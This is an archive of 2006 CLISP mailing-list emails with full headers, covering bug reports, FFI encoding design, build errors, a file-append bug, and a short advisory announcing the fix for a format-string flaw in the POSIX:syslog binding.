<1F947A46-04B4-4AFF-9396-BC781196EB74@mac.com> Mail-Followup-To: clisp-list@lists.sourceforge.net, Douglas Philips Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: attn Mac OS X users Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Jan 8 10:59:01 2006 X-Original-Date: Sun, 08 Jan 2006 13:57:02 -0500 > * Douglas Philips [2006-01-08 10:04:00 -0500]: > > On 2006 Jan 7, at 8:39 PM, Sam Steingold wrote: > >> can anyone confirm this bug report? >> https://sourceforge.net/tracker/? >> func=detail&atid=101355&aid=1399376&group_id=1355 >> SF CF mac os x is down, but NetBSD appears to work. >> thanks! > > Yes, I can confirm that bug. A few days ago I built 2.37. Everything > went find, but the make check failed. thanks! Now, I would like to find out if this is something recent or has been there all along. could you please try the test file on some older version of clisp? (socket.tst is a recent addition, this is probably the reason this has not been reported before.) -- Sam Steingold (http://www.podval.org/~sds) running w2k http://truepeace.org http://www.openvotingconsortium.org/ http://www.jihadwatch.org/ http://pmw.org.il/ http://ffii.org/ PI seconds is a nanocentury From Joerg-Cyril.Hoehle@t-systems.com Mon Jan 09 01:50:49 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Evtft-000726-P1 for clisp-list@lists.sourceforge.net; Mon, 09 Jan 2006 01:50:49 -0800 Received: from tcmail33.telekom.de ([217.6.95.240]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1Evtfr-0005u0-Cq for clisp-list@lists.sourceforge.net; Mon, 09 Jan 2006 01:50:49 -0800 Received: from S4DE8PSAANQ.mitte.t-com.de by tcmail31.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Mon, 9 Jan 2006 10:49:52 +0100 Received: by S4DE8PSAANQ.blf.telekom.de with Internet Mail Service (5.5.2653.19) id ; Mon, 9 Jan 2006 10:49:52 +0100 Message-Id: <5F9130612D07074EB0A0CE7E69FD7A0307BA1DF9@S4DE8PSAAGS.blf.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Subject: [clisp-list] Re: GNU CLISP 2.37 (2006-01-02) MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Jan 9 01:51:05 2006 X-Original-Date: Mon, 9 Jan 2006 10:49:49 +0100 Tomas Zellerin wrote: >- If you talk about same blog of Brian Mastenbrook as I saw, he spoke >not about repl and lisp, but about slime and lisp.=20 Oops, important difference indeed. >I wanted to first clean it up a bit >(setf readline:event-hook #'araneida::host-serve-events-once) Ah, thanks. I thought about it (just a little bit) and I think that in the clisp = case, this trick can not work for slime either. It might work if somebody writes a wrapper around an arbitrary i+o = stream that does sort of an async read, or instead of a read(), a = select/poll() on all currently streams this wrapper knows about. Apparently, Araneida was written in a way such that it can work in such = a setting (host-serve-events-once seems to mean that). Then, when the clisp or slime REPL READs input (from either = *terminal-io* or a socket-stream), other streams may get a change to = get called. Regards, J=F6rg H=F6hle. From Joerg-Cyril.Hoehle@t-systems.com Mon Jan 09 02:31:25 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EvuJA-0000VL-QP for clisp-list@lists.sourceforge.net; Mon, 09 Jan 2006 02:31:24 -0800 Received: from tcmail33.telekom.de ([217.6.95.240]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EvuJ9-0004tB-9O for clisp-list@lists.sourceforge.net; Mon, 09 Jan 2006 02:31:24 -0800 Received: from s4de8psaans.mitte.t-com.de by tcmail31.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Mon, 9 Jan 2006 11:31:16 +0100 Received: by S4DE8PSAANS.blf.telekom.de with Internet Mail Service (5.5.2653.19) id ; Mon, 9 Jan 2006 11:31:15 +0100 Message-Id: <5F9130612D07074EB0A0CE7E69FD7A0307BA1EB4@S4DE8PSAAGS.blf.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] security bugfix: syscalls module function POSIX:syslog Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Jan 9 02:32:02 2006 X-Original-Date: Mon, 9 Jan 2006 11:31:10 +0100 Hi, a bug involving the POSIX:syslog function in the syscalls module has = been fixed in the CVS of the CLISP source code. This bug fixes a stack overflow and DoS vulnerability in the software. The vulnerability could be triggered by sending strings containing '%' = characters to the syslog facility, which would try to interpret these = and cause unspecified behaviour. This bug can affect your applications if it supplies POSIX:syslog with = unchecked strings (e.g. an URL within a web-server application). CLISP itself does not use this function, it just provides the binding. Note that not all distributions of CLISP contain this module. = Generally, it is only present when starting the FULL image (clisp -K = full). Try clisp --version or (ext:module-info) to know which modules are present. The patch is trivial: please change syslog(priority, msg) to syslog(priority,"%s",msg); in file modules/syscalls/calls.c and recompile if your software is affected by = this security issue. The functionality of the syscalls module is now as follows: (POSIX:SYSLOG severity facility format &rest args) will cause (apply #'format nil format args) to be sent to the syslog = facility. No sprintf-style '%' conversion will occur. All formatting = is done on the Lisp side. Who or what application actually uses this function binding? Monday, the 9th January of 2006, J=F6rg H=F6hle From Joerg-Cyril.Hoehle@t-systems.com Mon Jan 09 09:25:07 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Ew0lX-0002zb-Bm for clisp-list@lists.sourceforge.net; Mon, 09 Jan 2006 09:25:07 -0800 Received: from tcmail33.telekom.de ([217.6.95.240]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1Ew0lU-0007vs-AB for clisp-list@lists.sourceforge.net; Mon, 09 Jan 2006 09:25:07 -0800 Received: from s4de8psaans.mitte.t-com.de by tcmail31.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Mon, 9 Jan 2006 18:24:47 +0100 Received: by S4DE8PSAANS.blf.telekom.de with Internet Mail Service (5.5.2653.19) id ; Mon, 9 Jan 2006 18:24:47 +0100 Message-Id: <5F9130612D07074EB0A0CE7E69FD7A0307BA234C@S4DE8PSAAGS.blf.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] CLISP FFI and non-1:1 encoding -- meaning of (c-array character N ) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Jan 9 09:26:01 2006 X-Original-Date: Mon, 9 Jan 2006 18:24:44 +0100 Hi, One year ago, clisp announced that it had lifted the 1:1 restriction on = acceptable encodings for custom:*foreign-encoding*. I've mentioned = bogus behaviour sometimes but never looked at the details. I now reviewed the code. Sadly, support for non-1:1 encodings is = incomplete at best (if not to say bogus). The good news is that C-strlen compatible encodings are mostly = supported. strlen-compatible means that a single terminating 0 byte = means "end of string". UTF-8 falls in this category. UTF-16 obviously does not. Here's an implementation summary: 8bit: means use *foreign-8bit-encoding* \0 only with 1-byte end-marker compatible encodings 1=3D1: errors out if varying length (e.g. use of Umlauts in UTF-8) convert from to foreign: character 8bit 8bit c-string \0 appends single \0 c-array character N ok (N bytes) 1=3D1 c-array character N M ? ? c-array-max character \0 appends single \0 c-array-ptr character \0 appends single \0 In addition, UTF-16 adds the BOM (FF FE on i386) prefix, which causes the length calculation and buffer contents to be different from what = one would naively think. Note that you can convert "=E4" to foreign using UTF-8 and (c-array = character 2), because 2 bytes are generated for =E4. As you can see, I did not look in depth at all combinations. However = it appears clearly that the current code still embeds the assumption = that a single \0 is good enough as a terminator. This is not generally = so. To enhance the situation, a) encoding-zeroes needs to be used internally, everywhere. This is a = function that returns the number of 0 terminator bytes (e.g. 1 for = ASCII of UTF-8, 2 for UTF-16). As a result, several functions need be = rewritten. b) there should be some public discussion on the meaning of the types = (c-array character N). What does N mean in the presence of = multibyte-encodings? Note that for arbitrary encodings, N as number of characters is = unlikely to make sense. IMHO only bytes make sense. But what would = users manipulating only UTF-16 think about a count in bytes? c) discuss whether it's worth the effort and complexity, or to maintain = the status quo except for a few noteworthy exceptions, e.g. introduce = WSTRING or similar types for UTF-16. The advantage of this approach is = that (c-array wchar N) could sync again the number of characters with = N. d) is a global variable custom:*foreign-encoding* (well, it's not even = a variable, don't bind it expect per ext:letf!) make sense at all to = control arbitrary (selectable) conversions? I'd hate code systematically using letf custom:*foreign-encoding* ... = just to be sure it's getting the correct conversion. However, experience tells that's unlikely to happen, like almost nobody = ensures that *print-base* has the required value (try setting the = standard CL special variables to non-standard values and see Lisp = packages fail...). IMHO, globals are the wrong tool for control. Maybe (c-array charset:ascii N) should be invented? Or (c-array #.charset:ascii N)? But what about non-constant conversions? Regards, J=F6rg H=F6hle. From jgraham@sk-tech.com Mon Jan 09 10:40:36 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Ew1wa-0006Mp-I5 for clisp-list@lists.sourceforge.net; Mon, 09 Jan 2006 10:40:36 -0800 Received: from joy.jsc.nasa.gov ([139.169.137.12]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1Ew1wZ-0004DV-8q for clisp-list@lists.sourceforge.net; Mon, 09 Jan 2006 10:40:36 -0800 Received: from [139.169.132.161] (vader.jsc.nasa.gov [139.169.132.161]) by joy.jsc.nasa.gov (8.11.7/8.11.3) with ESMTP id k09Iflr20780 for ; Mon, 9 Jan 2006 12:41:47 -0600 (CST) Message-ID: <43C2AE35.8000807@sk-tech.com> From: Jeffrey Graham Reply-To: jgraham@sk-tech.com User-Agent: Mozilla Thunderbird 1.0.7 (X11/20051014) X-Accept-Language: en-us, en MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] GNU lisp with CORBA? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Jan 9 10:41:07 2006 X-Original-Date: Mon, 09 Jan 2006 12:40:53 -0600 Hello, How can I get CORBA to work with GNU clisp? Thanks, Jeff From EFuzzyONE@netscape.net Mon Jan 09 20:02:44 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EwAiX-00088T-B0 for clisp-list@lists.sourceforge.net; Mon, 09 Jan 2006 20:02:41 -0800 Received: from imo-d01.mx.aol.com ([205.188.157.33]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EwAiT-0008Ia-Nw for clisp-list@lists.sourceforge.net; Mon, 09 Jan 2006 20:02:41 -0800 Received: from EFuzzyONE@netscape.net by imo-d01.mx.aol.com (mail_out_v38_r6.3.) id 6.1ae.107f5403 (16239) for ; Mon, 9 Jan 2006 23:02:28 -0500 (EST) Received: from netscape.net (mow-d18.webmail.aol.com [205.188.139.134]) by air-in03.mx.aol.com (v108_r1_b1.2) with ESMTP id MAILININ33-3f6f43c331d4f0; Mon, 09 Jan 2006 23:02:28 -0500 From: EFuzzyONE@netscape.net (Surendra Singhi) To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 Message-ID: <16060910.753DA5BA.0211DCC3@netscape.net> X-Mailer: Atlas Mailer 2.0 X-AOL-IP: 67.83.102.231 X-AOL-Language: english Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit X-Spam-Flag: NO X-Spam-Score: 1.0 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO Subject: [clisp-list] RE: "exits" on swig page Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Jan 9 20:03:11 2006 X-Original-Date: Mon, 09 Jan 2006 23:02:28 -0500 Sam Steingold wrote: >could you please add CLISP to the "exits" list on the SWIG page? Done. -- Surendra Singhi http://www.public.asu.edu/~sksinghi/index.html __________________________________________________________________ Switch to Netscape Internet Service. As low as $9.95 a month -- Sign up today at http://isp.netscape.com/register Netscape. Just the Net You Need. New! Netscape Toolbar for Internet Explorer Search from anywhere on the Web and block those annoying pop-ups. Download now at http://channels.netscape.com/ns/search/install.jsp From dimitrios.kapanikis@gmail.com Tue Jan 10 05:54:51 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EwJxZ-0002qU-PT for clisp-list@lists.sourceforge.net; Tue, 10 Jan 2006 05:54:49 -0800 Received: from zproxy.gmail.com ([64.233.162.207]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EwJxZ-0007Vs-Lm for clisp-list@lists.sourceforge.net; Tue, 10 Jan 2006 05:54:49 -0800 Received: by zproxy.gmail.com with SMTP id i11so3777892nzi for ; Tue, 10 Jan 2006 05:54:48 -0800 (PST) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:to:subject:mime-version:content-type:content-transfer-encoding:content-disposition; b=W7JCxK76YFR9DPZUDfBHTP24gPp/eeZqLlpZ9USnkiePyQyHXf2myWzqUn0H2InUzsSMSErgjkDltT8VH0SZr9UwwPUQGCKhcHrnlTijGZ/BEoXs3yaLjpUIqj+GsPdT7Ro2DuQHISsNL/XJXFCTZ64bfycAeJOfMm7VKuW49wM= Received: by 10.65.218.16 with SMTP id v16mr118216qbq; Tue, 10 Jan 2006 05:54:48 -0800 (PST) Received: by 10.65.216.6 with HTTP; Tue, 10 Jan 2006 05:54:47 -0800 (PST) Message-ID: <243236a40601100554n3c4a5a08te42c746aaeb98a6@mail.gmail.com> From: Dimitrios Kapanikis To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Content-Disposition: inline X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name Subject: [clisp-list] creating new linking set fails, convert_to_foreign_nomalloc undefined Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Jan 10 05:55:10 2006 X-Original-Date: Tue, 10 Jan 2006 14:54:47 +0100 Hi, i am trying to add a new module to clisp. I succeeded with that some weeks ago, and tried to reproduce what i did with clisp2.36 on cygwin (gcc version 3.4.4 if it matters). On step 4 of the HOWTO example (http://clisp.sourceforge.net/impnotes.html#mod-set-example) i got some error messages: ./clisp-link add-module-set kivcparser base base+kivcparser make: Nothing to be done for `clisp-module'. gcc -I/usr/local/libsigsegv-cygwin/include -W -Wswitch -Wcomment -Wpointer-= arith -Wimplicit -Wreturn-type -Wmissing-declarations -Wno-sign-compare -O2 -fex= pensi ve-optimizations -DUNICODE -DDYNAMIC_FFI -I. -I/lib/clisp/linkkit -c module= s.c In file included from modules.d:12: /lib/clisp/linkkit/clisp.h:670: warning: register used for two global regis= ter v ariables gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -Wmissin= g-dec larations -Wno-sign-compare -O2 -fexpensive-optimizations -DUNICODE -DDYNAM= IC_FF I -I. -x none modules.o win32-grammar.o kivcparser.o -lm readline.o -lreadl= ine - lncurses regexi.o regex.o calls.o -lcrypt -luser32 -lole32 -loleaut32 -luui= d get text.o lisp.a -lintl libcharset.a libavcall.a libcallback.a -lreadline -lnc= urses -liconv -L/usr/local/libsigsegv-cygwin/lib -lsigsegv -o lisp.exe Info: resolving _rl_line_buffer by linking to __imp__rl_line_buffer (auto-i= mport ) Info: resolving _rl_point by linking to __imp__rl_point (auto-import) Info: resolving _rl_end by linking to __imp__rl_end (auto-import) Info: resolving _rl_mark by linking to __imp__rl_mark (auto-import) Info: resolving _rl_done by linking to __imp__rl_done (auto-import) Info: resolving _rl_num_chars_to_read by linking to __imp__rl_num_chars_to_= read (auto-import) [..] kivcparser.o:kivcparser.c:(.text+0x95): undefined reference to `_convert_to= _ foreign_nomalloc' kivcparser.o:kivcparser.c:(.text+0x14b): undefined reference to `_convert_t= o_for eign_nomalloc' kivcparser.o:kivcparser.c:(.text+0x1fb): undefined reference to `_convert_t= o_for eign_nomalloc' kivcparser.o:kivcparser.c:(.text+0x2ab): undefined reference to `_convert_t= o_for eign_nomalloc' kivcparser.o:kivcparser.c:(.text+0x375): undefined reference to `_convert_t= o_for eign_nomalloc' kivcparser.o:kivcparser.c:(.text+0x444): more undefined references to `_con= vert_ to_foreign_nomalloc' follow ) Info: resolving _rl_readline_state by linking to __imp__rl_readline_state (= auto- import) Info: resolving _rl_completion_entry_function by linking to __imp__rl_compl= etion _entry_function (auto-import) Info: resolving _rl_attempted_completion_function by linking to __imp__rl_a= ttemp ted_completion_function (auto-import) [...] convert_to_nomalloc is used a dozen times in the file kivcparser.c, in kivcparser.c only clisp.h is included, do i need to include anything else? thank you Dimitrios From gwking@metabang.com Wed Jan 11 19:22:38 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Ewt2s-0007Xc-Ca for clisp-list@lists.sourceforge.net; Wed, 11 Jan 2006 19:22:38 -0800 Received: from saturn.westnic.net ([67.18.234.196]) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1Ewt2s-0002DY-3L for clisp-list@lists.sourceforge.net; Wed, 11 Jan 2006 19:22:38 -0800 Received: from [71.195.201.48] (helo=[10.0.1.5]) by saturn.westnic.net with esmtpsa (TLSv1:RC4-SHA:128) (Exim 4.52) id 1Ewt2j-0000wC-Fk for clisp-list@lists.sourceforge.net; Wed, 11 Jan 2006 22:22:29 -0500 Mime-Version: 1.0 (Apple Message framework v746.2) Content-Type: text/plain; charset=US-ASCII; delsp=yes; format=flowed Message-Id: <9562FA4F-1DF4-4E81-B159-6AC1387DF4F8@metabang.com> Reply-To: gwking@metabang.com Content-Transfer-Encoding: 7bit From: Gary King To: clisp-list@lists.sourceforge.net X-Mailer: Apple Mail (2.746.2) X-AntiAbuse: This header was added to track abuse, please include it with any abuse report X-AntiAbuse: Primary Hostname - saturn.westnic.net X-AntiAbuse: Original Domain - lists.sourceforge.net X-AntiAbuse: Originator/Caller UID/GID - [47 12] / [47 12] X-AntiAbuse: Sender Address Domain - metabang.com X-Source: X-Source-Args: X-Source-Dir: X-Spam-Score: 0.2 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.2 UPPERCASE_25_50 message body is 25-50% uppercase Subject: [clisp-list] open :if-exist :append writing \0s instead of appending in clisp 2.37 for OS X Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Jan 11 19:23:02 2006 X-Original-Date: Wed, 11 Jan 2006 22:22:34 -0500 When I run the following code in my version of clisp (see below for version details) > (in-package common-lisp-user) > > (let ((working (user-homedir-pathname))) > (with-open-file (s (make-pathname > :name "talk" > :type "tome" > :defaults working) > :if-exists :append > :if-does-not-exist :create > :direction :output) > (format s "~%Hello")) > > (with-open-file (s (make-pathname > :name "talk" > :type "tome" > :defaults working) > :if-exists :append > :if-does-not-exist :create > :direction :output) > (format s "~%Goodbye"))) > The file created looks like this (using od -c) > [billy-pilgrim:~] gwking% od -c talk.tome > 0000000 \0 \0 \0 \0 \0 \0 \n G o o d b y e > 0000016 > My clisp version information: > [billy-pilgrim:~] gwking% clisp --version > GNU CLISP 2.37 (2006-01-02) (built on billy-pilgrim.local [10.0.1.5]) > Software: GNU C 4.0.1 (Apple Computer, Inc. build 5247) > gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type - > Wmissing-declarations -Wno-sign-compare -O2 -DUNIX_BINARY_DISTRIB - > DUNICODE -I. -L/opt/local/lib -L/opt/local/lib -x none -lintl - > liconv -lc -Wl,-framework -Wl,CoreFoundation libcharset.a - > lreadline -lncurses -liconv -L/opt/local/lib -lsigsegv -lc -L/usr/ > X11R6/lib -lX11 > SAFETY=0 HEAPCODES STANDARD_HEAPCODES GENERATIONAL_GC SPVW_BLOCKS > SPVW_MIXED TRIVIALMAP_MEMORY > libiconv 1.10 > Features: > (REGEXP SYSCALLS I18N LOOP COMPILER CLOS MOP CLISP ANSI-CL COMMON- > LISP LISP=CL INTERPRETER > SOCKETS GENERIC-STREAMS LOGICAL-PATHNAMES SCREEN GETTEXT UNICODE > BASE-CHAR=CHARACTER UNIX > MACOS) > C Modules: (clisp i18n syscalls regexp) > Installation directory: /opt/local/lib/clisp/ > User language: ENGLISH > Machine: POWER MACINTOSH (POWER MACINTOSH) billy-pilgrim.local > [192.168.2.4] > Any help or pointers appreciated. -- Gary Warren King metabang.com http://www.metabang.com/ From sds@gnu.org Thu Jan 12 06:40:57 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Ex3dF-0001Tt-Ih for clisp-list@lists.sourceforge.net; Thu, 12 Jan 2006 06:40:53 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1Ex3dD-0004pp-60 for clisp-list@lists.sourceforge.net; Thu, 12 Jan 2006 06:40:53 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap.bluelnk.net [10.41.52.178]) by alphatech.com (8.12.11/8.12.11) with ESMTP id k0CEeNXm000523; Thu, 12 Jan 2006 09:40:27 -0500 (EST) To: clisp-list@lists.sourceforge.net, gwking@metabang.com Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <9562FA4F-1DF4-4E81-B159-6AC1387DF4F8@metabang.com> (Gary King's message of "Wed, 11 Jan 2006 22:22:34 -0500") References: <9562FA4F-1DF4-4E81-B159-6AC1387DF4F8@metabang.com> Mail-Followup-To: clisp-list@lists.sourceforge.net, gwking@metabang.com Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: open :if-exist :append writing \0s instead of appending in clisp 2.37 for OS X Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Jan 12 06:41:24 2006 X-Original-Date: Thu, 12 Jan 2006 09:39:28 -0500 > * Gary King [2006-01-11 22:22:34 -0500]: > >> [billy-pilgrim:~] gwking% od -c talk.tome >> 0000000 \0 \0 \0 \0 \0 \0 \n G o o d b y e >> 0000016 >> > > Any help or pointers appreciated. http://sourceforge.net/tracker/index.php?func=detail&aid=1399709&group_id=1355&atid=101355 -- Sam Steingold (http://www.podval.org/~sds) running w2k http://pmw.org.il http://www.iris.org.il http://www.camera.org http://www.jihadwatch.org http://www.palestinefacts.org http://www.memri.org The early worm gets caught by the bird. From sds@gnu.org Thu Jan 12 06:43:02 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Ex3fJ-0001XK-Bz for clisp-list@lists.sourceforge.net; Thu, 12 Jan 2006 06:43:01 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1Ex3fF-000492-SI for clisp-list@lists.sourceforge.net; Thu, 12 Jan 2006 06:43:01 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap.bluelnk.net [10.41.52.178]) by alphatech.com (8.12.11/8.12.11) with ESMTP id k0CEgRpw000629; Thu, 12 Jan 2006 09:42:28 -0500 (EST) To: clisp-list@lists.sourceforge.net, gwking@metabang.com Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <9562FA4F-1DF4-4E81-B159-6AC1387DF4F8@metabang.com> (Gary King's message of "Wed, 11 Jan 2006 22:22:34 -0500") References: <9562FA4F-1DF4-4E81-B159-6AC1387DF4F8@metabang.com> Mail-Followup-To: clisp-list@lists.sourceforge.net, gwking@metabang.com Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: open :if-exist :append writing \0s instead of appending in clisp 2.37 for OS X Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Jan 12 06:44:01 2006 X-Original-Date: Thu, 12 Jan 2006 09:41:39 -0500 workaround: :buffered :nil -- Sam Steingold (http://www.podval.org/~sds) running w2k http://www.mideasttruth.com http://www.camera.org http://www.palestinefacts.org http://www.iris.org.il http://truepeace.org http://pmw.org.il non-smoking section in a restaurant == non-peeing section in a swimming pool From gwking@metabang.com Thu Jan 12 06:47:25 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Ex3jZ-0001jZ-BJ for 